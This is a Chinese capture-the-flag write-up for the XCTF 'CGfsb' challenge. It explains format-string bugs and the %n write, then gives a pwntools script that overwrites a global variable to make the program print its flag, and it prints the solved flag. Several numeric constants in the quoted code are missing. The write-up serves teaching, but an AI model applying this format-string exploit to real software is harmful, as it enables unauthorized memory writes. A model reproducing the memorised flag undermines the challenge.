攻防世界--CGfsb238
测试文件:https://adworld.xctf.org.cn/media/task/attachments/5982010c172744c8a1c93c24b5200b21
1.格式化字符串漏洞
我们使用printf输出字符串数组可以写成格式化输出:
#include <stdio.h> int main()
{
char Buf[];
printf("Please inpurt flag:");
scanf("%s",Buf);
printf("%s",Buf);
return ;
}
但是也可以使用
#include <stdio.h> int main()
{
char Buf[];
printf("Please inpurt flag:");
scanf("%s",Buf);
printf(Buf);
return ;
}

但是这种输出方式有漏洞,当我们输入格式化字符串时

printf函数的调用方式为cdecl,在栈中参数形式为

(图片引用自:https://blog.csdn.net/qq_43394612/article/details/84900668)
当我们输入%x格式字符串,printf会将后面栈中数据以%x形式输出,这个61fe6c实际上就是format string后面的数据,可以在OD里面观测到

因此如果我们输入字符串"ABCD",能够确认字符串在栈中的位置的话,那么我们就能够修改栈中的字符串,而通过上面的阐述,我们能够输入ABCD.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x,来确认"ABCD"在栈中的位置。

当前字符串"ABCD"是在第6位,%< number>$x 是直接读取第number个位置的参数,同样可以用在%n,%d。

具体可以参考这篇: https://blog.csdn.net/qq_43394612/article/details/84900668
2.准备

获取到信息
- 32位文件
- 未开启PIE,不会随机化全局变量地址
3.使用IDA打开文件
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h] v8 = __readgsdword(0x14u);
setbuf(stdin, );
setbuf(stdout, );
setbuf(stderr, );
buf = ;
v5 = ;
v6 = ;
memset(&s, , 0x64u);
puts("please tell me your name:");
read(, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, , stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return ;
}
通过分析,很明显我们只需要让pwnme的值为8就行,首先需要了解%n
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。,%< number >$n 来直接修改第number个参数来修改栈中的值。

字符串存储在第10位(也可以使用OD或者GDB调试找到位置)
4.脚本解密
#-*- coding:utf-8 -*-
from pwn import * p = remote('111.198.29.45', 33059)
pwnme = 0x0804A068 # pwnme所在地址,因为是全局变量,地址不会变
payload1 = 'AAAA'
# 字符串位置在第10位,因此是%10$n
# 又因为p32(pwnme)占4字节,因此还需要4字节,才能返回8,所以是'AAAA%10$n'
payload2 = p32(pwnme) + 'AAAA%10$n' p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2) # 将8写入到pwnme中
# print(p.recv())
# print(p.recv())
p.interactive()

5.get flag!
cyberpeace{3343a4a64b9a2ed42e7fcd07386397f3}
攻防世界--CGfsb238的更多相关文章
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界 | CAT
来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- CTF -攻防世界-crypto新手区(5~11)
easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间 明明没算错 ...
随机推荐
- [CSP-S模拟测试]:Walker(数学)
题目传送门(内部题86) 输入格式 第一行$n$接下来$n$行,每行四个浮点数,分别表示变换前的坐标和变换后的坐标 输出格式 第一行浮点数$\theta$以弧度制表示第二行浮点数$scale$第三行两 ...
- 2018-2019-2 20165235《网络对抗技术》Exp8 Web基础
2018-2019-2 20165235<网络对抗技术>Exp8 Web基础 实践过程记录: (1).Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与 ...
- Zookeeper集群及配置
特别提示:本人博客部分有参考网络其他博客,但均是本人亲手编写过并验证通过.如发现博客有错误,请及时提出以免误导其他人,谢谢!欢迎转载,但记得标明文章出处:http://www.cnblogs.com/ ...
- 如何解决两个相邻的span中间有空隙
span中间不要有换行.或者空格 或者在样式上加上float:left
- 第四周总结&实验报告二
第四周总结&实验报告二 课程总结 这周我们学习了string类,以及很多string类的很多操作方法,同时string也是一个对象,在用到它时我们首字母需要大写,这周我们还加深了对函数构造的理 ...
- 2017年广东省ACM省赛(GDCPC-2017)总结
今年第一次参加省赛(也是第一次参加这类比赛),既有点惊喜又有点紧张,前一晚没有怎么睡好,有点怕今年打铁,虽然说大一打铁也说的过去,可是谁也不想打铁. 一开始比赛的时候我一开始没有去看题,而是把我们队的 ...
- js 放回上一页
window.history.go(-1);//返回上一页不刷新 window.location.href = document.referrer;//返回上一页并刷新
- 自动化应用一键部署卸载&持续构建测试与交付
1.代码仓库:版本控制Gitlab Gitlab后台管理开发视角Gitlab的应用运维视角Gitlab的应用Gitlab本地使用 2.批量部署交付工具:Ansible Ansible虚拟环境构建Ans ...
- 使用NSIS脚本制作一个安装包
大部分人第一次看到NSIS脚本都是一脸懵逼的.因为它这个脚本的结构乍一看上去就非常奇怪,不作说明的话是看不懂的. 编写脚本命令的时候要非常注意,命令要按照规定写在脚本中不同的段落里,也就是说,命令的先 ...
- Spring mvc注解说明
编号 注解 说明 位置 备注 1 @Controller 将类变成Spring Bean 类 现阶段 @Controller . @Service 以及 @Repository 和 @Componen ...